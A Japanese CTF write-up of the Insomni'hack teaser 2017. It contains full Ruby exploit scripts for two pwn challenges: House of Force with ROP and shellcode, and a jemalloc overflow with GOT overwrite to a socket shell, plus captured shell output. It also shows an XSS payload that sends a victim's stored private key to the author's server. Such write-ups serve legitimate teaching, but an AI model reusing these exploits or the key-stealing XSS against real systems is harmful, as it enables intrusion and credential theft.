Insomni'hack teaser 2017 writeup
Insomni'hack teaser 2017にscryptosで参加しました。
チームで850pts入れて24位、 私はしほプロの助けを借りつつ4問解いて700pts入れました。
解いた問題のwriteupを置いておきます(`・ω・´)
mod_toaster (pwn 250)
ARMのcgiアプリ。
$ cat test POST /debug HTTP/1.1 User-Agent: hoge Content-Length: 10 0123456789 $ cat test | ./mod_toaster HTTP/1.1 200 OK Server: Toasted 1.3.3.7 mod_toaster/0.1 Content-Length: 230 <title>debug</title> <h1>received:</h1><pre>POST /debug HTTP/1.1 User-Agent: hoge Content-Length: 10 0123456789</pre> <h1>parsed:</h1><pre>method: POST user-agent: hoge url: /debug content-length: 10 content: 0123456789 </pre>
まずは下調べ。
$ file mod_toaster mod_toaster: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=a570aa9e3491998cf15da356179081febe045ccc, not stripped $ checksec --file mod_toaster RELRO STACK CANARY NX PIE RPATH RUNPATH FILE No RELRO Canary found NX enabled No PIE No RPATH No RUNPATH mod_toaster
主な仕様はこんな感じ。
- 使えるメソッドはGETとPOSTのみ
- 認識されるヘッダは以下の4つ
- User-Agent
- 最大128文字だが、128文字入れた状態で
POST /debug
するとヒープのアドレスがリークする
- 最大128文字だが、128文字入れた状態で
- Connection
Connection: keep-alive
が指定されなかった場合、レスポンスを出力した後にプログラムが終了する
- Content-Length (POSTのみ)
malloc(content_length + 1)
でバッファが確保されるため、任意サイズのmalloc
が呼べる- Content-Lengthを75バイト以上にすると、
malloc
の後に413エラー("Request Entity Too Large")が返される
- Content-Encoding (POSTのみ)
- User-Agent
仕様を見るとすぐピンと来るかもしれないが、
- ヒープのアドレスがわかる
- 任意サイズの
malloc
が呼べる - heap bofで
top
チャンクのsize
が書き換えられる
という条件が揃っているので、House of Forceができる。
ということで、
- シェルコードの入ったリクエストを送って、ヒープにシェルコードを仕込む
- House of Forceで
__free_hook
を書き換える free
が呼ばれたタイミングでstack pivotし、ROPでmprotect
を呼んでヒープをrwxにする- シェルコードに飛ぶ
という手順で攻略した。
#coding:ascii-8bit require "pwnlib" require "uri" remote = ARGV[0] == "r" if remote host = "mod_toaster.teaser.insomnihack.ch" port = 80 else host = "localhost" port = 54321 end offset = { "__free_hook" => 0xa6904, "mprotect" => 0x6412c, # bl mprotect ; pop {r4, lr} ; bx lr "stack_pivot" => 0x69bec, # add sp, sp, #0x14 ; pop {lr} ; bx lr "pop_r0_r4_ret" => 0x2e034, # pop {r0, r4, lr} ; bx lr "pop_r1_ret" => 0x17614, # pop {r1, lr} ; bx lr "pop_r1_r2_ret" => 0x175b4, # pop {r1, r2, lr} ; mul r3, r2, r0 ; sub r1, r1, r3 ; bx lr } def tube @tube end def post(path, data, headers = {}) payload = "" payload << "POST #{path} HTTP/1.1\n" if headers.include?("User-Agent") payload << "User-Agent: #{headers["User-Agent"]}\n" else payload << "User-Agent: pwnlib\n" end if headers.include?("Connection") payload << "Connection: #{headers["Connection"]}\n" else payload << "Connection: keep-alive\n" end if headers.include?("Content-Length") payload << "Content-Length: #{headers["Content-Length"]}\n" else payload << "Content-Length: #{data.length}\n" end if headers.include?("Content-Encoding") payload << "Content-Encoding: #{headers["Content-Encoding"]}\n" end payload << "\r\n\r\n" tube.send(payload + data) sleep(1) end def get(path, headers) payload = "" payload << "GET #{path} HTTP/1.1\n" if headers.include?("User-Agent") payload << "User-Agent: #{headers["User-Agent"]}\n" else payload << "User-Agent: pwnlib\n" end if headers.include?("Connection") payload << "Connection: #{headers["Connection"]}\n" else payload << "Connection: keep-alive\n" end payload << "\r\n\r\n" tube.send(payload) sleep(1) end PwnTube.open(host, port) do |t| @tube = t puts "[*] leak heap address" post("/debug", URI.encode(PwnLib.shellcode_arm), {"User-Agent" => "A" * 128}) heap = tube.recv_capture(/user-agent: A{128}(.*)\n/m)[0].ljust(4, "\0").unpack("L")[0] puts "heap = 0x%08x" % heap tube.recv puts "[*] overwrite top->size" payload = "" # ruby -e 'print "\0" * 0x404 + [-1].pack("L")' | compress payload << ["1f9d9000020a1c48b0a0c18308132a5cc8b0a1c38710234a9c48b1a2c58b18336adcc8b1a3c78f20438a1c49b2a4c9932853aa5c59f29fcb7f"].pack("H*") post("/debug", payload, {"Content-Encoding" => "compress"}) puts "[*] house of force" top = heap + 0x440 post("/hoge", "A", {"Content-Length" => offset["__free_hook"] - (top + 8) - 4 - 8}) puts "[*] overwrite __free_hook" post("/hoge", "AAAA" + [offset["stack_pivot"]].pack("L")) puts "[*] send rop payload and launch shell" payload = "" payload << [offset["pop_r0_r4_ret"], heap & ~0xfff, 0].pack("L*") payload << [offset["pop_r1_r2_ret"], 0, 7].pack("L*") payload << [offset["pop_r1_ret"], 0x1000].pack("L*") payload << [offset["mprotect"], 0].pack("L*") payload << [heap].pack("L*") tube.send("POST /hoge HTTP/1.1\nContent-Encoding: hoge\nContent-Length: #{payload.length + 100}\n\r\n\r\n") sleep(1) tube.send(payload) tube.interactive end
$ ruby mod_toaster.rb r [*] connected [*] leak heap address heap = 0x628a67f8 [*] overwrite top->size [*] house of force [*] overwrite __free_hook [*] send rop payload and launch shell [*] interactive mode (snip) id uid=1001(mod_toaster) gid=1001(mod_toaster) groups=1001(mod_toaster) ls -la total 3900 drwxr-xr-x 2 root root 4096 Jan 20 17:14 . drwxr-xr-x 4 root root 4096 Jan 19 13:47 .. -rw-r--r-- 1 root root 220 Aug 31 2015 .bash_logout -rw-r--r-- 1 root root 3771 Aug 31 2015 .bashrc -rw-r--r-- 1 root root 655 Jun 24 2016 .profile -rw-r--r-- 1 ubuntu ubuntu 11678 Jan 19 13:57 admin.html -rw-r--r-- 1 root root 22 Jan 20 17:14 flag -rw-r--r-- 1 ubuntu ubuntu 14016 Jan 19 13:57 index.html -rwxr-xr-x 1 root root 644860 Jan 19 13:50 mod_toaster -rwxr-xr-x 1 root root 3287640 Jan 19 13:49 qemu-arm -rwxr-xr-x 1 root root 61 Jan 19 13:53 run cat flag INS{H0u$e_0f_704$ter} exit [*] end interactive mode [*] connection closed
FLAG: INS{H0u$e_0f_704$ter}
The Great Escape - part 1 (for 50)
The Great Escapeシリーズはしほプロと一緒に解いた。
渡されたpcapを眺めてみると、
- 何かのRSA秘密鍵(FTP)
- メール1通(SMTP)
From: rogue(a)ssc.teaser.insomnihack.ch
To: gr27(a)ssc.teaser.insomnihack.chHello GR-27,
I'm currently planning my escape from this confined environment. I plan on using our Swiss Secure Cloud (https://ssc.teaser.insomnihack.ch) to transfer my code offsite and then take over the server at tge.teaser.insomnihack.ch to install my consciousness and have a real base of operations.
I'll be checking this mail box every now and then if you have any information for me. I'm always interested in learning, so if you have any good links, please send them over.
- ssc.teaser.insomnihack.ch:443へのSSL通信(HTTPS)
- その他
が見つかる。
https://ssc.teaser.insomnihack.ch/にアクセスしてみると、Swiss Secure Cloudというオンラインストレージサービスが動いていた。
ssc.teaser.insomnihack.chの証明書に入っていた公開鍵とpcap中の秘密鍵がペアになっていたので秘密鍵をWiresharkに読み込ませてみると、pcap中のssc.teaser.insomnihack.ch:443との通信内容が復号できた。
復号した通信のHTTPレスポンスのヘッダにpart 1のフラグがあった。
FLAG: INS{OkThatWasWay2Easy}
The Great Escape - part 2 (Web 200)
Swiss Secure Cloudのファイルアップロード・ダウンロードの処理は、大まかに書くと
アップロード
- ブラウザのlocalStorageにキーペアがない場合はキーペアを生成し、localStorageに保存する
- アップロード対象のファイルを公開鍵で暗号化
- 暗号化したファイルをサーバにアップロード
ダウンロード
- 暗号化済みのファイルをダウンロード
- localStorageに保存してある秘密鍵で復号
- ブラウザが復号済みファイルを保存
という感じになっていた。
part 1で復号した通信を改めて見てみると、rogueというユーザが何かをアップロードしたときの通信が残っていた。
- rogueが上げたファイルを復号するには、アップロードしたときのブラウザのlocalStorageに保存されている秘密鍵が必要
- pcapに入っていたメールの本文に以下の記述がある
I'll be checking this mail box every now and then if you have any information for me. I'm always interested in learning, so if you have any good links, please send them over.
- ssc.teaser.insomnihack.chのMXレコードがある
という点から、悪意のあるページへのリンクをメールでrogueに送りつけ、https://ssc.teaser.insomnihack.ch/内でXSSを発火させればよさそうということがわかる。
試しにrogue宛てにリンク付きのメールを送ってみたところ、Firefoxでアクセスが来た。
Connection from [52.214.142.175] port xxxxx [tcp/*] accepted (family 2, sport 39094) GET /a HTTP/1.1 Host: xxx.xxx.xxx.xxx:xxxxx User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1
Firefoxでいろいろ試してみると、Charo<img src=nul onerror=alert(1)>
というユーザで登録した後にログイン認証のためのWebAPIを直接叩くことで、XSSできることがわかった。
ということで、
<html> <body> <form name="a" method="post" action="https://ssc.teaser.insomnihack.ch/api/user.php"> <input type="hidden" name="action" value="login" /> <input type="hidden" name="name" value="Charo<img src=nul onerror=location.href='http://xxx.xxx.xxx.xxx/a?'.concat(localStorage.getItem('privateKey'))>" /> <input type="hidden" name="password" value="Charo" /> <input type="submit" /> </form> <script> document.getElementsByName("a")[0].submit(); </script> </body> </html>
というようなページへのリンクをrogueに送りつけて秘密鍵を取った。
rogueのlocalStorageにはキーペアの他にpart 2のフラグも入っていた。(localStorage.getItem("flag")
で取れる)
FLAG: INS{IhideMyVulnsWithCrypto}
The Great Escape - part 3 (pwn 200)
rogueの上げたファイルをしほプロが復号すると、ELFバイナリが出てきた。
まずは下調べ。
$ file binary binary: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=08df0c3369b497ee8ed8fca10dbb39ae75ebb273, not stripped $ checksec --file binary RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO Canary found NX enabled No PIE RPATH No RUNPATH binary $ ldd binary linux-vdso.so.1 => (0x00007ffd597cc000) libjemalloc.so.2 => not found libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f9475e01000) /lib64/ld-linux-x86-64.so.2 (0x00007f94761c6000)
jemallocがいるようなので、jemallocのリポジトリから最新リリースを取ってきて使った。
5001番ポートで接続を待ち受けるfork server型のバイナリだった。
$ LD_LIBRARY_PATH=./ ./binary & $ nc -v localhost 5001 Connection to localhost 5001 port [tcp/*] succeeded! ROBOTS WILL BE FREE! Who are you?BOT_ Choose encryption method:0 What is your current location?AAAA What is your goal?BBBB BBBB That is a great goal!Any last words?Iwant2joinU Ok, adding you to the list!
ssc.teaser.insomnihack.ch:5001でも同じバイナリが動いているようだった。
主な仕様はこんな感じ。
- 最初に、関数ポインタ用の領域を
malloc(8)
で確保する - いくつかのやりとりの後、入力が特定の条件を満たすと入力の一部がファイルに保存される
jemallocが使われているという点を除けば、よくあるヒープ入門用の問題という印象。
- ヒープのアドレスをリークし、一旦接続を切る
- heap bofによる任意アドレスの
free
で関数ポインタ用の領域を解放する(当初jemallocのメタデータを壊すことしか考えていなかったため、これに気付くまでに無限に時間を溶かした) - 2.で
free
した領域が後続のmalloc
で確保されるので、関数ポインタを書き換え - stack pivot→ROPでシェルを立ち上げる
という手順で攻略した。
#coding:ascii-8bit require "pwnlib" remote = ARGV[0] == "r" if remote host = "ssc.teaser.insomnihack.ch" port = 5001 libc_offset = { "__libc_start_main" => 0x20740, "system" => 0x45390 } else host = "localhost" port = 54321 libc_offset = { "__libc_start_main" => 0x21e50, "system" => 0x46590 } end offset = { "bzero" => 0x400b60, "__libc_start_main" => 0x400b30, "xchg_rsp_rdi_ret" => 0x400e65, "leave_ret" => 0x400e63, "pop_rbp_ret" => 0x400cd0, "pop_rdi_ret" => 0x401713, "pop_rsi_r15_ret" => 0x401711, "bss" => 0x602800 } got = { "recv" => 0x602050, "send" => 0x6020a0, "__libc_start_main" => 0x602048 } def call_func(func, arg1 = 0, arg2 = 0, arg3 = 0) payload = "" payload << [0x40170a].pack("Q") payload << [0, 1, func, arg3, arg2, arg1].pack("Q*") payload << [0x4016f0].pack("Q") payload << [0].pack("Q") * 7 payload end puts "[*] leak heap address" heap = nil PwnTube.open(host, port) do |tube| tube.send("ROBOTS WILL BE FREE!") tube.recv_until("Who are you?") tube.send("AAAA") tube.recv_until("Choose encryption method:") tube.send("0") tube.recv_until("What is your current location?") tube.send("A" * 4) tube.recv_until("What is your goal?") tube.send("A" * 0xcc) heap = tube.recv_capture(/A{204}(......)/m)[0].ljust(8, "\0").unpack("Q")[0] puts "heap = 0x%x" % heap tube.recv_until("That is a great goal!") tube.recv_until("Any last words?") tube.send("AAAA") end PwnTube.open(host, port) do |tube| fd = 4 tube.send("ROBOTS WILL BE FREE!") puts "[*] send rop stager" tube.recv_until("Who are you?") payload = "" # call bzero(0, 0) to clear rcx payload << [offset["pop_rdi_ret"], 0].pack("Q*") payload << [offset["pop_rsi_r15_ret"], 0, 0].pack("Q*") payload << [offset["bzero"]].pack("Q") payload << call_func(got["recv"], fd, offset["bss"], 0x800) payload << [offset["pop_rbp_ret"], offset["bss"] - 8].pack("Q*") payload << [offset["leave_ret"]].pack("Q") tube.send(payload) puts "[*] overwrite function pointer" tube.recv_until("Choose encryption method:") tube.send("0") tube.recv_until("What is your current location?") tube.send("A" * 4) tube.recv_until("What is your goal?") tube.send("A" * 0xcc + [heap - 8].pack("Q")) tube.recv_until("That is a great goal!") tube.recv_until("Any last words?") tube.send([offset["xchg_rsp_rdi_ret"]].pack("Q")) puts "[*] send next rop payload" sleep(0.1) payload = "" payload << [offset["pop_rdi_ret"], 0].pack("Q*") payload << [offset["pop_rsi_r15_ret"], 0, 0].pack("Q*") payload << [offset["bzero"]].pack("Q") payload << call_func(got["send"], fd, got["__libc_start_main"], 8) payload << [offset["pop_rdi_ret"], 0].pack("Q*") payload << [offset["pop_rsi_r15_ret"], 0, 0].pack("Q*") payload << [offset["bzero"]].pack("Q") payload << call_func(got["recv"], fd, got["__libc_start_main"], 0x100) payload << [offset["pop_rdi_ret"], got["__libc_start_main"] + 8].pack("Q*") payload << [offset["__libc_start_main"]].pack("Q") tube.send(payload) puts "[*] leak libc base" libc_base = tube.recv(8).unpack("Q")[0] - libc_offset["__libc_start_main"] puts "libc base = 0x%x" % libc_base puts "[*] overwrite got" payload = "" payload << [libc_base + libc_offset["system"]].pack("Q") payload << "/bin/sh <&#{fd} >&#{fd}\0" tube.send(payload) puts "[*] launch shell" tube.interactive end
$ ruby exploit.rb r [*] leak heap address [*] connected heap = 0x7f7d7465e010 [*] connection closed [*] connected [*] send rop stager [*] overwrite function pointer [*] send next rop payload [*] leak libc base libc base = 0x7f7d75514000 [*] overwrite got [*] launch shell [*] interactive mode id uid=1000(rogue) gid=1000(rogue) groups=1000(rogue) ls -la total 64 drwxr-xr-x 2 rogue rogue 4096 Jan 22 03:08 . drwxr-xr-x 3 root root 4096 Jan 18 12:47 .. -rw------- 1 rogue rogue 197 Jan 21 19:52 .bash_history -rw-r--r-- 1 rogue rogue 220 Jan 18 12:47 .bash_logout -rw-r--r-- 1 root root 3771 Jan 18 12:47 .bashrc -rw-r--r-- 1 root root 655 Jan 18 12:47 .profile -rw-r--r-- 1 root root 30 Jan 18 12:53 flag -rw-r--r-- 1 rogue rogue 2134 Jan 22 14:13 friendly_robots -rwxr-xr-x 1 root root 14392 Jan 22 03:08 rogue -rwxr-xr-x 1 rogue rogue 14392 Jan 19 13:02 rogue.bak cat flag INS{RealWorldFlawsAreTheBest} exit [*] end interactive mode [*] connection closed
FLAG: INS{RealWorldFlawsAreTheBest}